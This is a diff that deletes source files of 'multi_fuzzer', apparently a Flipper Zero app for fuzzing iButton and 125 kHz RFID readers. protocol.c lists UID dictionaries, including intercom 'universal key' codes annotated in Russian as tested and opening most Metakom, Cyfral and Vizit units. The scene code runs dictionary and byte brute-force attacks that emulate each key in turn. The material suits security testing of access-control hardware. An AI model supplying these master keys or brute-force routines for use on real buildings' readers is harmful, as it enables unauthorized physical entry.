HwProtocolID; - -#else - -#include -typedef iButtonProtocolId HwProtocolID; - -#endif - -typedef struct HardwareWorker HardwareWorker; - -HardwareWorker* hardware_worker_alloc(); - -void hardware_worker_free(HardwareWorker* instance); - -void hardware_worker_start_thread(HardwareWorker* instance); - -void hardware_worker_stop_thread(HardwareWorker* instance); - -void hardware_worker_emulate_start(HardwareWorker* instance); - -void hardware_worker_stop(HardwareWorker* instance); - -void hardware_worker_set_protocol_data( - HardwareWorker* instance, - uint8_t* payload, - uint8_t payload_size); - -void hardware_worker_get_protocol_data( - HardwareWorker* instance, - uint8_t* payload, - uint8_t payload_size); - -bool hardware_worker_set_protocol_id_by_name(HardwareWorker* instance, const char* protocol_name); - -HwProtocolID hardware_worker_get_protocol_id(HardwareWorker* instance); - -bool hardware_worker_load_key_from_file(HardwareWorker* instance, const char* filename); - -bool hardware_worker_save_key(HardwareWorker* instance, const char* path); \ No newline at end of file diff --git a/applications/external/multi_fuzzer/lib/worker/protocol.c b/applications/external/multi_fuzzer/lib/worker/protocol.c deleted file mode 100644 index 5284f87f1..000000000 --- a/applications/external/multi_fuzzer/lib/worker/protocol.c +++ /dev/null @@ -1,291 +0,0 @@ -#include "protocol_i.h" -#include "furi.h" - -// ####################### -// ## Ibutton Protocols ## -// ####################### -#define DS1990_DATA_SIZE (8) -#define Metakom_DATA_SIZE (4) -#define Cyfral_DATA_SIZE (2) - -const uint8_t uid_list_ds1990[][DS1990_DATA_SIZE] = { - {0x01, 0xBE, 0x40, 0x11, 0x5A, 0x36, 0x00, 0xE1}, //– код универсального ключа, для Vizit - {0x01, 0xBE, 0x40, 0x11, 0x5A, 0x56, 0x00, 0xBB}, //- проверен работает - {0x01, 0xBE, 0x40, 0x11, 0x00, 0x00, 0x00, 0x77}, //- проверен работает - {0x01, 0xBE, 0x40, 0x11, 0x0A, 0x00, 0x00, 0x1D}, //- проверен работает Визит иногда КЕЙМАНЫ - {0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F}, //- проверен(метаком, цифрал, ВИЗИТ). - {0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x9B}, //- проверен Визит, Метакомы, КОНДОР - {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x14}, //???-Открываает 98% Метаком и некоторые Цифрал - {0x01, 0x00, 0x00, 0x00, 0x00, 0x90, 0x19, 0xFF}, //???-Отлично работает на старых домофонах - {0x01, 0x6F, 0x2E, 0x88, 0x8A, 0x00, 0x00, 0x4D}, //???-Открывать что-то должен - {0x01, 0x53, 0xD4, 0xFE, 0x00, 0x00, 0x7E, 0x88}, //???-Cyfral, Metakom - {0x01, 0x53, 0xD4, 0xFE, 0x00, 0x00, 0x00, 0x6F}, //???-домофоны Визит (Vizit) - до 99% - {0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D}, //???-домофоны Cyfral CCD-20 - до 70% - {0x01, 0x00, 0xBE, 0x11, 0xAA, 0x00, 0x00, 0xFB}, //???-домофоны Кейман (KEYMAN) - {0x01, 0x76, 0xB8, 0x2E, 0x0F, 0x00, 0x00, 0x5C}, //???-домофоны Форвард - {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Null bytes - {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x14}, // Only FF - {0x01, 0x78, 0x00, 0x48, 0xFD, 0xFF, 0xFF, 0xD1}, // StarNew Uni5 - {0x01, 0xA9, 0xE4, 0x3C, 0x09, 0x00, 0x00, 0xE6}, // Eltis Uni -}; - -const uint8_t uid_list_metakom[][Metakom_DATA_SIZE] = { - {0x00, 0x00, 0x00, 0x00}, // Null bytes - {0xFF, 0xFF, 0xFF, 0xFF}, // Only FF - {0x11, 0x11, 0x11, 0x11}, // Only 11 - {0x22, 0x22, 0x22, 0x22}, // Only 22 - {0x33, 0x33, 0x33, 0x33}, // Only 33 - {0x44, 0x44, 0x44, 0x44}, // Only 44 - {0x55, 0x55, 0x55, 0x55}, // Only 55 - {0x66, 0x66, 0x66, 0x66}, // Only 66 - {0x77, 0x77, 0x77, 0x77}, // Only 77 - {0x88, 0x88, 0x88, 0x88}, // Only 88 - {0x99, 0x99, 0x99, 0x99}, // Only 99 - {0x12, 0x34, 0x56, 0x78}, // Incremental UID - {0x9A, 0x78, 0x56, 0x34}, // Decremental UID - {0x04, 0xd0, 0x9b, 0x0d}, // ?? - {0x34, 0x00, 0x29, 0x3d}, // ?? - {0x04, 0xdf, 0x00, 0x00}, // ?? - {0xCA, 0xCA, 0xCA, 0xCA}, // ?? -}; - -const uint8_t uid_list_cyfral[][Cyfral_DATA_SIZE] = { - {0x00, 0x00}, // Null bytes - {0xFF, 0xFF}, // Only FF - {0x11, 0x11}, // Only 11 - {0x22, 0x22}, // Only 22 - {0x33, 0x33}, // Only 33 - {0x44, 0x44}, // Only 44 - {0x55, 0x55}, // Only 55 - {0x66, 0x66}, // Only 66 - {0x77, 0x77}, // Only 77 - {0x88, 0x88}, // Only 88 - {0x99, 0x99}, // Only 99 - {0x12, 0x34}, // Incremental UID - {0x56, 0x34}, // Decremental UID - {0xCA, 0xCA}, // ?? - {0x8E, 0xC9}, // Elevator code - {0x6A, 0x50}, // VERY fresh code from smartkey -}; - -// ########################### -// ## Rfid_125khz Protocols ## -// ########################### -#define EM4100_DATA_SIZE (5) -#define HIDProx_DATA_SIZE (6) -#define PAC_DATA_SIZE (4) -#define H10301_DATA_SIZE (3) - -const uint8_t uid_list_em4100[][EM4100_DATA_SIZE] = { - {0x00, 0x00, 0x00, 0x00, 0x00}, // Null bytes - {0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, // Only FF - {0x11, 0x11, 0x11, 0x11, 0x11}, // Only 11 - {0x22, 0x22, 0x22, 0x22, 0x22}, // Only 22 - {0x33, 0x33, 0x33, 0x33, 0x33}, // Only 33 - {0x44, 0x44, 0x44, 0x44, 0x44}, // Only 44 - {0x55, 0x55, 0x55, 0x55, 0x55}, // Only 55 - {0x66, 0x66, 0x66, 0x66, 0x66}, // Only 66 - {0x77, 0x77, 0x77, 0x77, 0x77}, // Only 77 - {0x88, 0x88, 0x88, 0x88, 0x88}, // Only 88 - {0x99, 0x99, 0x99, 0x99, 0x99}, // Only 99 - {0x12, 0x34, 0x56, 0x78, 0x9A}, // Incremental UID - {0x9A, 0x78, 0x56, 0x34, 0x12}, // Decremental UID - {0x04, 0xd0, 0x9b, 0x0d, 0x6a}, // From arha - {0x34, 0x00, 0x29, 0x3d, 0x9e}, // From arha - {0x04, 0xdf, 0x00, 0x00, 0x01}, // From arha - {0xCA, 0xCA, 0xCA, 0xCA, 0xCA}, // From arha -}; - -const uint8_t uid_list_hid[][HIDProx_DATA_SIZE] = { - {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Null bytes - {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, // Only FF - {0x11, 0x11, 0x11, 0x11, 0x11, 0x11}, // Only 11 - {0x22, 0x22, 0x22, 0x22, 0x22, 0x22}, // Only 22 - {0x33, 0x33, 0x33, 0x33, 0x33, 0x33}, // Only 33 - {0x44, 0x44, 0x44, 0x44, 0x44, 0x44}, // Only 44 - {0x55, 0x55, 0x55, 0x55, 0x55, 0x55}, // Only 55 - {0x66, 0x66, 0x66, 0x66, 0x66, 0x66}, // Only 66 - {0x77, 0x77, 0x77, 0x77, 0x77, 0x77}, // Only 77 - {0x88, 0x88, 0x88, 0x88, 0x88, 0x88}, // Only 88 - {0x99, 0x99, 0x99, 0x99, 0x99, 0x99}, // Only 99 - {0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC}, // Incremental UID - {0xBC, 0x9A, 0x78, 0x56, 0x34, 0x12}, // Decremental UID - {0xCA, 0xCA, 0xCA, 0xCA, 0xCA, 0xCA}, // From arha -}; - -const uint8_t uid_list_pac[][PAC_DATA_SIZE] = { - {0x00, 0x00, 0x00, 0x00}, // Null bytes - {0xFF, 0xFF, 0xFF, 0xFF}, // Only FF - {0x11, 0x11, 0x11, 0x11}, // Only 11 - {0x22, 0x22, 0x22, 0x22}, // Only 22 - {0x33, 0x33, 0x33, 0x33}, // Only 33 - {0x44, 0x44, 0x44, 0x44}, // Only 44 - {0x55, 0x55, 0x55, 0x55}, // Only 55 - {0x66, 0x66, 0x66, 0x66}, // Only 66 - {0x77, 0x77, 0x77, 0x77}, // Only 77 - {0x88, 0x88, 0x88, 0x88}, // Only 88 - {0x99, 0x99, 0x99, 0x99}, // Only 99 - {0x12, 0x34, 0x56, 0x78}, // Incremental UID - {0x9A, 0x78, 0x56, 0x34}, // Decremental UID - {0x04, 0xd0, 0x9b, 0x0d}, // From arha - {0x34, 0x00, 0x29, 0x3d}, // From arha - {0x04, 0xdf, 0x00, 0x00}, // From arha - {0xCA, 0xCA, 0xCA, 0xCA}, // From arha -}; - -const uint8_t uid_list_h10301[][H10301_DATA_SIZE] = { - {0x00, 0x00, 0x00}, // Null bytes - {0xFF, 0xFF, 0xFF}, // Only FF - {0x11, 0x11, 0x11}, // Only 11 - {0x22, 0x22, 0x22}, // Only 22 - {0x33, 0x33, 0x33}, // Only 33 - {0x44, 0x44, 0x44}, // Only 44 - {0x55, 0x55, 0x55}, // Only 55 - {0x66, 0x66, 0x66}, // Only 66 - {0x77, 0x77, 0x77}, // Only 77 - {0x88, 0x88, 0x88}, // Only 88 - {0x99, 0x99, 0x99}, // Only 99 - {0x12, 0x34, 0x56}, // Incremental UID - {0x56, 0x34, 0x12}, // Decremental UID - {0xCA, 0xCA, 0xCA}, // From arha -}; - -#if defined(RFID_125_PROTOCOL) -const FuzzerProtocol fuzzer_proto_items[] = { - // EM4100 - { - .name = "EM4100", - .data_size = EM4100_DATA_SIZE, - .dict = - { - .val = (const uint8_t*)&uid_list_em4100, - .len = COUNT_OF(uid_list_em4100), - }, - }, - // HIDProx - { - .name = "HIDProx", - .data_size = HIDProx_DATA_SIZE, - .dict = - { - .val = (const uint8_t*)&uid_list_hid, - .len = COUNT_OF(uid_list_hid), - }, - }, - // PAC - { - .name = "PAC/Stanley", - .data_size = PAC_DATA_SIZE, - .dict = - { - .val = (const uint8_t*)&uid_list_pac, - .len = COUNT_OF(uid_list_pac), - }, - }, - // H10301 - { - .name = "H10301", - .data_size = H10301_DATA_SIZE, - .dict = - { - .val = (const uint8_t*)&uid_list_h10301, - .len = COUNT_OF(uid_list_h10301), - }, - }, -}; -#else -const FuzzerProtocol fuzzer_proto_items[] = { - // DS1990 - { - .name = "DS1990", - .data_size = DS1990_DATA_SIZE, - .dict = - { - .val = (const uint8_t*)&uid_list_ds1990, - .len = COUNT_OF(uid_list_ds1990), - }, - }, - // Metakom - { - .name = "Metakom", - .data_size = Metakom_DATA_SIZE, - .dict = - { - .val = (const uint8_t*)&uid_list_metakom, - .len = COUNT_OF(uid_list_metakom), - }, - }, - // Cyfral - { - .name = "Cyfral", - .data_size = Cyfral_DATA_SIZE, - .dict = - { - .val = (const uint8_t*)&uid_list_cyfral, - .len = COUNT_OF(uid_list_cyfral), - }, - }, -}; -#endif - -typedef struct { - const char* menu_label; - FuzzerAttackId attack_id; -} FuzzerMenuItems; - -const FuzzerMenuItems fuzzer_menu_items[] = { - {"Default Values", FuzzerAttackIdDefaultValues}, -#ifdef RFID_125_PROTOCOL - {"BF Customer ID", FuzzerAttackIdBFCustomerID}, -#endif - {"Load File", FuzzerAttackIdLoadFile}, - {"Load UIDs from file", FuzzerAttackIdLoadFileCustomUids}, -}; - -FuzzerPayload* fuzzer_payload_alloc() { - FuzzerPayload* payload = malloc(sizeof(FuzzerPayload)); - payload->data = malloc(sizeof(payload->data[0]) * MAX_PAYLOAD_SIZE); - - return payload; -} - -void fuzzer_payload_free(FuzzerPayload* payload) { - furi_assert(payload); - - if(payload->data) { - free(payload->data); - } - free(payload); -} - -const char* fuzzer_proto_get_name(FuzzerProtocolsID index) { - return fuzzer_proto_items[index].name; -} - -uint8_t fuzzer_proto_get_count_of_protocols() { - return COUNT_OF(fuzzer_proto_items); -} - -uint8_t fuzzer_proto_get_max_data_size() { - return MAX_PAYLOAD_SIZE; -} - -uint8_t fuzzer_proto_get_def_emu_time() { - return PROTOCOL_DEF_EMU_TIME; -} - -uint8_t fuzzer_proto_get_def_idle_time() { - return PROTOCOL_DEF_IDLE_TIME; -} - -const char* fuzzer_proto_get_menu_label(uint8_t index) { - return fuzzer_menu_items[index].menu_label; -} - -FuzzerAttackId fuzzer_proto_get_attack_id_by_index(uint8_t index) { - return fuzzer_menu_items[index].attack_id; -} - -uint8_t fuzzer_proto_get_count_of_menu_items() { - return COUNT_OF(fuzzer_menu_items); -} diff --git a/applications/external/multi_fuzzer/lib/worker/protocol.h b/applications/external/multi_fuzzer/lib/worker/protocol.h deleted file mode 100644 index e7c264b54..000000000 --- a/applications/external/multi_fuzzer/lib/worker/protocol.h +++ /dev/null @@ -1,86 +0,0 @@ -#pragma once - -#include - -// #define RFID_125_PROTOCOL - -typedef struct FuzzerPayload FuzzerPayload; - -typedef uint8_t FuzzerProtocolsID; - -typedef enum { - FuzzerAttackIdDefaultValues = 0, - FuzzerAttackIdLoadFile, - FuzzerAttackIdLoadFileCustomUids, - FuzzerAttackIdBFCustomerID, -} FuzzerAttackId; - -struct FuzzerPayload { - uint8_t* data; - uint8_t data_size; -}; - -/** - * Allocate FuzzerPayload - * - * @return FuzzerPayload* pointer to FuzzerPayload - */ -FuzzerPayload* fuzzer_payload_alloc(); - -/** - * Free FuzzerPayload - * - * @param instance Pointer to a FuzzerPayload - */ -void fuzzer_payload_free(FuzzerPayload*); - -/** - * Get maximum length of UID among all supported protocols - * @return Maximum length of UID - */ -uint8_t fuzzer_proto_get_max_data_size(); - -/** - * Get recomended/default emulation time - * @return Default emulation time - */ -uint8_t fuzzer_proto_get_def_emu_time(); - -/** - * Get recomended/default idle time - * @return Default idle time - */ -uint8_t fuzzer_proto_get_def_idle_time(); - -/** - * Get protocol name based on its index - * @param index protocol index - * @return pointer to a string containing the name - */ -const char* fuzzer_proto_get_name(FuzzerProtocolsID index); - -/** - * Get number of protocols - * @return number of protocols - */ -uint8_t fuzzer_proto_get_count_of_protocols(); - -/** - * Get menu label based on its index - * @param index menu index - * @return pointer to a string containing the menu label - */ -const char* fuzzer_proto_get_menu_label(uint8_t index); - -/** - * Get FuzzerAttackId based on its index - * @param index menu index - * @return FuzzerAttackId - */ -FuzzerAttackId fuzzer_proto_get_attack_id_by_index(uint8_t index); - -/** - * Get number of menu items - * @return number of menu items - */ -uint8_t fuzzer_proto_get_count_of_menu_items(); \ No newline at end of file diff --git a/applications/external/multi_fuzzer/lib/worker/protocol_i.h b/applications/external/multi_fuzzer/lib/worker/protocol_i.h deleted file mode 100644 index 6679b6d7f..000000000 --- a/applications/external/multi_fuzzer/lib/worker/protocol_i.h +++ /dev/null @@ -1,51 +0,0 @@ -#pragma once - -#include "protocol.h" - -#if defined(RFID_125_PROTOCOL) -#define MAX_PAYLOAD_SIZE (6) -#define PROTOCOL_DEF_IDLE_TIME (4) -#define PROTOCOL_DEF_EMU_TIME (5) -#define PROTOCOL_TIME_DELAY_MIN PROTOCOL_DEF_IDLE_TIME + PROTOCOL_DEF_EMU_TIME - -#define PROTOCOL_KEY_FOLDER_NAME "lfrfid" -#define PROTOCOL_KEY_EXTENSION ".rfid" - -#else - -#define MAX_PAYLOAD_SIZE (8) -#define PROTOCOL_DEF_IDLE_TIME (2) -#define PROTOCOL_DEF_EMU_TIME (2) -#define PROTOCOL_TIME_DELAY_MIN PROTOCOL_DEF_IDLE_TIME + PROTOCOL_DEF_EMU_TIME - -#define PROTOCOL_KEY_FOLDER_NAME "ibutton" -#define PROTOCOL_KEY_EXTENSION ".ibtn" -#endif - -typedef struct ProtoDict ProtoDict; -typedef struct FuzzerProtocol FuzzerProtocol; - -struct ProtoDict { - const uint8_t* val; - const uint8_t len; -}; - -struct FuzzerProtocol { - const char* name; - const uint8_t data_size; - const ProtoDict dict; -}; - -// #define MAX_PAYLOAD_SIZE 6 - -// #define FUZZ_TIME_DELAY_MIN (5) -// #define FUZZ_TIME_DELAY_DEFAULT (10) -// #define FUZZ_TIME_DELAY_MAX (70) - -// #define MAX_PAYLOAD_SIZE 8 - -// #define FUZZ_TIME_DELAY_MIN (4) -// #define FUZZ_TIME_DELAY_DEFAULT (8) -// #define FUZZ_TIME_DELAY_MAX (80) - -extern const FuzzerProtocol fuzzer_proto_items[]; \ No newline at end of file diff --git a/applications/external/multi_fuzzer/scenes/fuzzer_scene.c b/applications/external/multi_fuzzer/scenes/fuzzer_scene.c deleted file mode 100644 index 0fe0f558d..000000000 --- a/applications/external/multi_fuzzer/scenes/fuzzer_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "fuzzer_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const fuzzer_scene_on_enter_handlers[])(void*) = { -#include "fuzzer_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const fuzzer_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "fuzzer_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const fuzzer_scene_on_exit_handlers[])(void* context) = { -#include "fuzzer_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers fuzzer_scene_handlers = { - .on_enter_handlers = fuzzer_scene_on_enter_handlers, - .on_event_handlers = fuzzer_scene_on_event_handlers, - .on_exit_handlers = fuzzer_scene_on_exit_handlers, - .scene_num = FuzzerSceneNum, -}; diff --git a/applications/external/multi_fuzzer/scenes/fuzzer_scene.h b/applications/external/multi_fuzzer/scenes/fuzzer_scene.h deleted file mode 100644 index 280654510..000000000 --- a/applications/external/multi_fuzzer/scenes/fuzzer_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) FuzzerScene##id, -typedef enum { -#include "fuzzer_scene_config.h" - FuzzerSceneNum, -} FuzzerScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers fuzzer_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "fuzzer_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "fuzzer_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "fuzzer_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/multi_fuzzer/scenes/fuzzer_scene_attack.c b/applications/external/multi_fuzzer/scenes/fuzzer_scene_attack.c deleted file mode 100644 index 0b0f68093..000000000 --- a/applications/external/multi_fuzzer/scenes/fuzzer_scene_attack.c +++ /dev/null @@ -1,170 +0,0 @@ -#include "../fuzzer_i.h" -#include "../helpers/fuzzer_custom_event.h" - -const NotificationSequence sequence_one_red_50_on_blink_blue = { - &message_red_255, - &message_delay_50, - &message_red_0, - &message_blink_start_10, - &message_blink_set_color_blue, - &message_do_not_reset, - NULL, -}; - -static void fuzzer_scene_attack_update_uid(PacsFuzzerApp* app) { - furi_assert(app); - furi_assert(app->worker); - furi_assert(app->attack_view); - - fuzzer_worker_get_current_key(app->worker, app->payload); - - fuzzer_view_attack_set_uid(app->attack_view, app->payload); -} - -static void fuzzer_scene_attack_set_state(PacsFuzzerApp* app, FuzzerAttackState state) { - furi_assert(app); - - scene_manager_set_scene_state(app->scene_manager, FuzzerSceneAttack, state); - switch(state) { - case FuzzerAttackStateIdle: - notification_message(app->notifications, &sequence_blink_stop); - break; - - case FuzzerAttackStateAttacking: - notification_message(app->notifications, &sequence_blink_start_blue); - break; - case FuzzerAttackStateEmulating: - notification_message(app->notifications, &sequence_blink_start_blue); - break; - - case FuzzerAttackStateEnd: - notification_message(app->notifications, &sequence_blink_stop); - notification_message(app->notifications, &sequence_single_vibro); - break; - - case FuzzerAttackStateOff: - notification_message(app->notifications, &sequence_blink_stop); - break; - - case FuzzerAttackStatePause: - notification_message(app->notifications, &sequence_blink_stop); - break; - } - - fuzzer_view_update_state(app->attack_view, state); -} - -void fuzzer_scene_attack_worker_tick_callback(void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - - notification_message(app->notifications, &sequence_one_red_50_on_blink_blue); - fuzzer_scene_attack_update_uid(app); -} - -void fuzzer_scene_attack_worker_end_callback(void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, FuzzerCustomEventViewAttackEnd); -} - -void fuzzer_scene_attack_callback(FuzzerCustomEvent event, void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void fuzzer_scene_attack_on_enter(void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - - fuzzer_view_attack_set_callback(app->attack_view, fuzzer_scene_attack_callback, app); - - fuzzer_worker_set_uid_chaged_callback( - app->worker, fuzzer_scene_attack_worker_tick_callback, app); - - fuzzer_worker_set_end_callback(app->worker, fuzzer_scene_attack_worker_end_callback, app); - - fuzzer_view_attack_reset_data( - app->attack_view, - fuzzer_proto_get_menu_label(app->fuzzer_state.menu_index), - fuzzer_proto_get_name(app->fuzzer_state.proto_index)); - - fuzzer_scene_attack_update_uid(app); - - scene_manager_set_scene_state(app->scene_manager, FuzzerSceneAttack, FuzzerAttackStateIdle); - - view_dispatcher_switch_to_view(app->view_dispatcher, FuzzerViewIDAttack); -} - -bool fuzzer_scene_attack_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - PacsFuzzerApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == FuzzerCustomEventViewAttackExit) { - // Exit - fuzzer_worker_stop(app->worker); - - fuzzer_scene_attack_set_state(app, FuzzerAttackStateOff); - if(!scene_manager_previous_scene(app->scene_manager)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - } else if(event.event == FuzzerCustomEventViewAttackRunAttack) { - if(fuzzer_worker_start( - app->worker, - fuzzer_view_attack_get_time_delay(app->attack_view), - fuzzer_view_attack_get_emu_time(app->attack_view))) { - fuzzer_scene_attack_set_state(app, FuzzerAttackStateAttacking); - } else { - // Error? - } - } else if(event.event == FuzzerCustomEventViewAttackEmulateCurrent) { - fuzzer_worker_start_emulate(app->worker); - - fuzzer_scene_attack_set_state(app, FuzzerAttackStateEmulating); - } else if(event.event == FuzzerCustomEventViewAttackPause) { - fuzzer_worker_pause(app->worker); - - fuzzer_scene_attack_set_state(app, FuzzerAttackStatePause); - } else if(event.event == FuzzerCustomEventViewAttackIdle) { - fuzzer_worker_pause(app->worker); - - fuzzer_scene_attack_set_state(app, FuzzerAttackStateIdle); - } else if(event.event == FuzzerCustomEventViewAttackNextUid) { - if(fuzzer_worker_next_key(app->worker)) { - fuzzer_scene_attack_update_uid(app); - } else { - notification_message(app->notifications, &sequence_blink_red_100); - } - } else if(event.event == FuzzerCustomEventViewAttackPrevUid) { - if(fuzzer_worker_previous_key(app->worker)) { - fuzzer_scene_attack_update_uid(app); - } else { - notification_message(app->notifications, &sequence_blink_red_100); - } - } else if(event.event == FuzzerCustomEventViewAttackSave) { - scene_manager_next_scene(app->scene_manager, FuzzerSceneSaveName); - } - // Callback from worker - else if(event.event == FuzzerCustomEventViewAttackEnd) { - fuzzer_scene_attack_set_state(app, FuzzerAttackStateEnd); - consumed = true; - } - } - - return consumed; -} - -void fuzzer_scene_attack_on_exit(void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - - // XXX the scene has no descendants, and the return will be processed in on_event - // fuzzer_worker_stop(); - - fuzzer_worker_set_uid_chaged_callback(app->worker, NULL, NULL); - fuzzer_worker_set_end_callback(app->worker, NULL, NULL); -} diff --git a/applications/external/multi_fuzzer/scenes/fuzzer_scene_config.h b/applications/external/multi_fuzzer/scenes/fuzzer_scene_config.h deleted file mode 100644 index b1ad9d609..000000000 --- a/applications/external/multi_fuzzer/scenes/fuzzer_scene_config.h +++ /dev/null @@ -1,5 +0,0 @@ -ADD_SCENE(fuzzer, main, Main) -ADD_SCENE(fuzzer, attack, Attack) -ADD_SCENE(fuzzer, field_editor, FieldEditor) -ADD_SCENE(fuzzer, save_name, SaveName) -ADD_SCENE(fuzzer, save_success, SaveSuccess) \ No newline at end of file diff --git a/applications/external/multi_fuzzer/scenes/fuzzer_scene_field_editor.c b/applications/external/multi_fuzzer/scenes/fuzzer_scene_field_editor.c deleted file mode 100644 index a33e337cc..000000000 --- a/applications/external/multi_fuzzer/scenes/fuzzer_scene_field_editor.c +++ /dev/null @@ -1,67 +0,0 @@ -#include "../fuzzer_i.h" -#include "../helpers/fuzzer_custom_event.h" - -void fuzzer_scene_field_editor_callback(FuzzerCustomEvent event, void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void fuzzer_scene_field_editor_on_enter(void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - - fuzzer_view_field_editor_set_callback( - app->field_editor_view, fuzzer_scene_field_editor_callback, app); - - fuzzer_worker_get_current_key(app->worker, app->payload); - - switch(scene_manager_get_scene_state(app->scene_manager, FuzzerSceneFieldEditor)) { - case FuzzerFieldEditorStateEditingOn: - fuzzer_view_field_editor_reset_data(app->field_editor_view, app->payload, true); - break; - - case FuzzerFieldEditorStateEditingOff: - memset(app->payload->data, 0x00, app->payload->data_size); - fuzzer_view_field_editor_reset_data(app->field_editor_view, app->payload, false); - break; - - default: - break; - } - - view_dispatcher_switch_to_view(app->view_dispatcher, FuzzerViewIDFieldEditor); -} - -bool fuzzer_scene_field_editor_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - PacsFuzzerApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == FuzzerCustomEventViewFieldEditorBack) { - if(!scene_manager_previous_scene(app->scene_manager)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - consumed = true; - } else if(event.event == FuzzerCustomEventViewFieldEditorOk) { - fuzzer_view_field_editor_get_uid(app->field_editor_view, app->payload); - if(fuzzer_worker_init_attack_bf_byte( - app->worker, - app->fuzzer_state.proto_index, - app->payload, - fuzzer_view_field_editor_get_index(app->field_editor_view))) { - scene_manager_next_scene(app->scene_manager, FuzzerSceneAttack); - } - } - } - - return consumed; -} - -void fuzzer_scene_field_editor_on_exit(void* context) { - // furi_assert(context); - // PacsFuzzerApp* app = context; - UNUSED(context); -} diff --git a/applications/external/multi_fuzzer/scenes/fuzzer_scene_main.c b/applications/external/multi_fuzzer/scenes/fuzzer_scene_main.c deleted file mode 100644 index 7c53d098a..000000000 --- a/applications/external/multi_fuzzer/scenes/fuzzer_scene_main.c +++ /dev/null @@ -1,200 +0,0 @@ -#include "../fuzzer_i.h" -#include "../helpers/fuzzer_custom_event.h" - -#include "../lib/worker/protocol.h" -#define TAG "Fuzzer main menu" - -void fuzzer_scene_main_callback(FuzzerCustomEvent event, void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void fuzzer_scene_main_error_popup_callback(void* context) { - PacsFuzzerApp* app = context; - notification_message(app->notifications, &sequence_reset_rgb); - view_dispatcher_send_custom_event(app->view_dispatcher, FuzzerCustomEventViewMainPopupErr); -} - -static bool fuzzer_scene_main_load_custom_dict(void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - - FuzzerConsts* consts = app->fuzzer_const; - - furi_string_set_str(app->file_path, consts->custom_dict_folder); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, consts->custom_dict_extension, &I_rfid_10px); - browser_options.base_path = consts->custom_dict_folder; - browser_options.hide_ext = false; - - bool res = - dialog_file_browser_show(app->dialogs, app->file_path, app->file_path, &browser_options); - - return res; -} - -static bool fuzzer_scene_main_load_key_dialog(void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - - FuzzerConsts* consts = app->fuzzer_const; - - furi_string_set_str(app->file_path, consts->path_key_folder); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, consts->key_extension, consts->key_icon); - browser_options.base_path = consts->path_key_folder; - browser_options.hide_ext = true; - - bool res = - dialog_file_browser_show(app->dialogs, app->file_path, app->file_path, &browser_options); - - return res; -} - -static void fuzzer_scene_main_show_error(void* context, const char* erre_str) { - furi_assert(context); - PacsFuzzerApp* app = context; - popup_set_header(app->popup, erre_str, 64, 20, AlignCenter, AlignTop); - notification_message(app->notifications, &sequence_set_red_255); - notification_message(app->notifications, &sequence_double_vibro); - view_dispatcher_switch_to_view(app->view_dispatcher, FuzzerViewIDPopup); -} - -void fuzzer_scene_main_on_enter(void* context) { - furi_assert(context); - PacsFuzzerApp* app = context; - - fuzzer_view_main_set_callback(app->main_view, fuzzer_scene_main_callback, app); - - fuzzer_view_main_update_data(app->main_view, app->fuzzer_state); - - // Setup view - Popup* popup = app->popup; - // popup_set_icon(popup, 72, 17, &I_DolphinCommon_56x48); - popup_set_timeout(popup, 2500); - popup_set_context(popup, app); - popup_set_callback(popup, fuzzer_scene_main_error_popup_callback); - 